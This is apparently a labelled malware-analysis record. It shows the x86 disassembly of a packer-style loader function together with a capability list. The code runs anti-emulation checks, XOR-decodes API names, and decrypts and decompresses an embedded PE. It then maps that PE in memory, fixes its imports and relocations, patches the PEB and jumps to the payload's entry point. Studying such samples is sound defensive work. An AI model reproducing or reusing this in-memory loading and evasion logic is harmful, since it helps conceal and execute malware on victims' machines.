Function at 0x3501542
Capabilities:
Access peb ldr_data
Create directory
Encode data using xor
Get kernel32 base address
Parse pe header
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push ebx
push esi
push edi
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
pop eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [eax + 0x18]
mov ebx, dword [ecx + 0x18]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x268]
push eax
xor edi, edi
push edi
mov dword [ebp - 0x18], 5
call dword [sym.imp.mscms.dll_GetColorDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x7a
je 0x350159e
xor eax, eax
jmp 0x3501ad8
push edi
push edi
push edi
lea eax, [ebp - 0x4b4]
push eax
call dword [sym.imp.mscms.dll_CreateColorTransformW]
call esi
sub eax, 0x57
je 0x35015d4
inc word [ebp - 0x42]
inc word [ebp - 0x48]
add word [ebp - 0x50], 0xa
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
push str.V:dshf_
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call esi
sub eax, 3
je 0x35015f5
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 1
jmp 0x35015ce
mov edx, ebx
call fcn.035014be
mov edi, eax
mov dword [ebp - 0x40], edi
call esi
add eax, 0x77
mov dword [ebp - 0x38], 0x1e1b1536
mov dword [ebp - 0x34], 0x8181336
mov dword [ebp - 0x30], 0x3b03081b
mov byte [ebp - 0x2c], 0x7a
lea ecx, [ebp - 0x38]
xor byte [ecx], al
inc ecx
cmp byte [ecx], 0
jne 0x3501622
lea eax, [ebp - 0x38]
push eax
push ebx
call edi
push str.VirtualAlloc
push ebx
mov dword [ebp - 0x54], eax
call edi
push str.RtlDecompressBuffer
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call edi
push str.VirtualProtect
push ebx
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0x14], 0
je 0x3501ad5
cmp dword [ebp - 0xc], 0
je 0x3501ad5
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [eax + 0x3c]
add ecx, eax
push 5
mov dword [ebp - 0x24], ecx
mov ecx, dword [ecx + 0x104]
lea ebx, [eax + ecx]
pop ecx
push 3
mov dword [ebp - 4], eax
xor edx, edx
lea esi, [ebx + 4]
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx]
pop esi
mov eax, ecx
div esi
push 4
push 0x3000
push 0xf
pop esi
xor edx, edx
push 0xc
pop edi
push 0xa
mov dword [ebp - 8], eax
div esi
xor edx, edx
mov esi, eax
mov eax, dword [ebp - 8]
imul esi, esi, 0x14
div edi
xor edx, edx
mov edi, eax
mov eax, dword [ebp - 8]
imul edi, edi, 0xf
add edi, ecx
pop ecx
div ecx
add edi, esi
imul eax, eax, 0xc
lea eax, [eax + edi + 0x102f]
push eax
push 0
call dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x3501ad5
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0x104]
mov ecx, dword [ebp - 4]
lea edi, [ecx + eax + 0x18]
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
push 0xc
xor edx, edx
pop ecx
xor esi, esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0xf
div ecx
test eax, eax
je 0x350174e
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x3c], eax
push 0xc
lea eax, [esi + edi]
push eax
push dword [ebp - 0x20]
call fcn.035014a0
mov eax, dword [ebp - 8]
add esp, 0xc
dec dword [ebp - 8]
lea esi, [esi + eax + 0xc]
jne 0x3501745
mov dword [ebp - 8], 0xf
add dword [ebp - 0x20], 0xc
dec dword [ebp - 0x3c]
jne 0x3501721
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
push 0xc
xor edx, edx
pop edi
mov ecx, eax
div edi
test edx, edx
je 0x3501777
add esi, dword [ebp - 0x10]
push edx
sub ecx, edx
add ecx, dword [ebp - 0x28]
push esi
push ecx
call fcn.035014a0
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov esi, dword [eax + 0xdc]
add esi, dword [eax + 0x12c]
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
push 0xf
xor edx, edx
pop ecx
add esi, dword [ebp - 4]
xor edi, edi
mov dword [ebp - 8], 0x14
div ecx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x35017e9
and dword [ebp - 0x20], edi
mov dword [ebp - 0x3c], eax
push 0xf
lea eax, [edi + esi]
push eax
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
div ecx
add eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
push eax
call fcn.035014a0
mov eax, dword [ebp - 8]
add esp, 0xc
dec dword [ebp - 8]
lea edi, [edi + eax + 0xf]
jne 0x35017e0
mov dword [ebp - 8], 0x14
add dword [ebp - 0x20], 0xf
dec dword [ebp - 0x3c]
jne 0x35017af
mov eax, dword [ebx]
push 3
xor edx, edx
pop ecx
div ecx
push 0xf
xor edx, edx
pop ecx
mov dword [ebp - 8], eax
div ecx
test edx, edx
je 0x3501819
mov eax, dword [ebp - 0x10]
imul eax, eax, 0xf
add eax, dword [ebp - 8]
push edx
add eax, dword [ebp - 0x28]
add edi, esi
push edi
push eax
call fcn.035014a0
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov esi, dword [eax + 0x154]
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
div ecx
push 0xa
pop ecx
add esi, dword [ebp - 4]
push 0
pop edi
mov dword [ebp - 8], 0xc
add eax, edx
xor edx, edx
div ecx
inc eax
je 0x3501887
and dword [ebp - 4], edi
mov dword [ebp - 0x10], eax
push 0xa
lea eax, [edi + esi]
push eax
mov eax, dword [ebx]
push 3
pop ecx
xor edx, edx
div ecx
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax*2]
add eax, dword [ebp - 0x28]
push eax
call fcn.035014a0
mov eax, dword [ebp - 8]
add esp, 0xc
dec dword [ebp - 8]
lea edi, [edi + eax + 0xa]
jne 0x350187e
mov dword [ebp - 8], 0xc
add dword [ebp - 4], 0xa
dec dword [ebp - 0x10]
jne 0x350184a
mov eax, dword [ebx]
imul eax, eax, 0xf
push 4
push 0x3000
push eax
xor esi, esi
push esi
call dword [ebp - 0x14]
mov edi, eax
cmp edi, esi
je 0x3501ad5
xor ecx, ecx
cmp dword [ebx], ecx
jbe 0x35018c1
mov dl, byte [ebp + esi - 0x68]
mov eax, dword [ebp - 0x28]
xor byte [eax + ecx], dl
inc esi
cmp esi, 0x13
jbe 0x35018bc
xor esi, esi
inc ecx
cmp ecx, dword [ebx]
jb 0x35018aa
push eax
mov eax, dword [0x3509f9a]
pop eax
mov ebx, dword [ebx]
lea eax, [ebp - 0x1c]
push eax
push ebx
imul ebx, ebx, 0xf
push dword [ebp - 0x28]
push ebx
push edi
push 2
call dword [ebp - 0xc]
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x3501ad5
mov ebx, dword [edi + 0x3c]
add ebx, edi
xor eax, eax
cmp dword [ebx], 0x4550
mov dword [ebp - 0x10], ebx
jne 0x3501ad7
cmp dword [ebx + 0xa0], eax
jne 0x350190b
mov eax, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x50]
push 0x40
push 0x3000
add ecx, 0x100
push ecx
push eax
call dword [ebp - 0x14]
mov esi, eax
test esi, esi
je 0x3501ad5
mov eax, dword [ebx + 0x54]
add eax, dword [edi + 0x3c]
push eax
push edi
push esi
call fcn.035014a0
and dword [ebp - 0x24], 0
xor eax, eax
add esp, 0xc
cmp ax, word [ebx + 6]
jae 0x350197e
and dword [ebp - 4], eax
mov eax, dword [edi + 0x3c]
add eax, dword [ebp - 4]
lea eax, [eax + edi + 0xf8]
push dword [eax + 0x10]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, edi
push ecx
add eax, esi
push eax
call fcn.035014a0
movzx eax, word [ebx + 6]
add dword [ebp - 4], 0x28
add esp, 0xc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jb 0x350194a
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0xc], eax
je 0x35019f7
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x35019f7
mov ebx, dword [ebx + 0xa4]
add eax, esi
add ebx, eax
jmp 0x35019ed
mov ecx, dword [eax + 4]
and dword [ebp - 4], 0
sub ecx, 8
test ecx, 0xfffffffe
jbe 0x35019ea
mov ecx, dword [ebp - 0x14]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
mov edi, 0x3000
cmp dx, di
jne 0x35019d6
mov edx, dword [ebp - 0xc]
and ecx, 0xfff
add ecx, dword [eax]
add dword [ecx + esi], edx
mov ecx, dword [eax + 4]
inc dword [ebp - 4]
add dword [ebp - 0x14], 2
sub ecx, 8
shr ecx, 1
cmp dword [ebp - 4], ecx
jb 0x35019b0
add eax, dword [eax + 4]
lea ecx, [eax + 8]
mov dword [ebp - 0x14], ecx
cmp eax, ebx
jb 0x350199e
mov ecx, dword [ebp - 0x10]
mov edi, dword [ecx + 0x80]
add edi, esi
cmp dword [edi], 0
je 0x3501aa3
mov eax, dword [edi + 0xc]
add eax, esi
push eax
call dword [ebp - 0x54]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x3501ad5
cmp dword [edi + 4], 0xffffffff
mov edx, dword [edi + 0x10]
mov dword [ebp - 4], edx
jne 0x3501a56
mov ecx, dword [edi]
mov ecx, dword [ecx + esi]
lea ebx, [edx + esi]
test ecx, 0xf0000000
je 0x3501a43
and ecx, 0xffff
jmp 0x3501a48
add ecx, esi
add ecx, 2
push ecx
push eax
call dword [ebp - 0x40]
cmp dword [ebx], eax
je 0x3501a94
mov eax, dword [edi]
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
add ebx, esi
jmp 0x3501a8f
mov eax, dword [ebx]
test eax, 0xf0000000
je 0x3501a6d
and eax, 0xffff
jmp 0x3501a72
add eax, esi
add eax, 2
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x40]
mov dword [ebx], eax
test eax, eax
je 0x3501ad5
mov edx, dword [ebx]
mov ecx, dword [edi + 0x10]
mov eax, ebx
sub eax, dword [ebp - 4]
add ebx, 4
mov dword [eax + ecx], edx
cmp dword [ebx], 0
jne 0x3501a5d
add edi, 0x14
cmp dword [edi], 0
jne 0x3501a0b
mov ecx, dword [ebp - 0x10]
push eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
pop eax
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x18], esi
mov edx, dword [ecx + 0x28]
add edx, esi
mov dword [eax + 0x1c], edx
mov eax, dword [ecx + 0x28]
add eax, esi
mov dword [ebp - 0x54], eax
call dword [ebp - 0x54]
jmp 0x3501597
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10